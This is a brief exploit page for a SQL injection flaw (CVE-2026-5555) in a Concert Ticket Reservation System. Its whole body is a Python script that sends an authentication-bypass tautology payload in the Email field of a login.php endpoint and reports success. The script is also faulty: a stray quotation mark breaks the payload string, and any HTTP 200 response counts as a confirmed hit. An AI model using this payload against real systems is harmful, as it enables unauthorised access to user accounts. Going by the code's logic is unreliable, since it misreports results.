CVE-2026-5555 Concert Ticket Reservation System SQL注入漏洞

import requests # Target URL configuration target_url = "http://target.com/ConcertTicketReservationSystem-master/login.php" # SQL Injection Payload for Email parameter # This payload attempts to bypass authentication using a tautology (OR 1=1) payload_data = { "Email": "admin' OR '1'='1" -- -", "Password": "randompassword" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=payload_data) # Check if login was successful or response indicates SQL error if "Welcome" in response.text or response.status_code == 200: print("[+] Potential SQL Injection vulnerability confirmed!") print("[+] Response snippet:", response.text[:200]) else: print("[-] Exploit failed or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")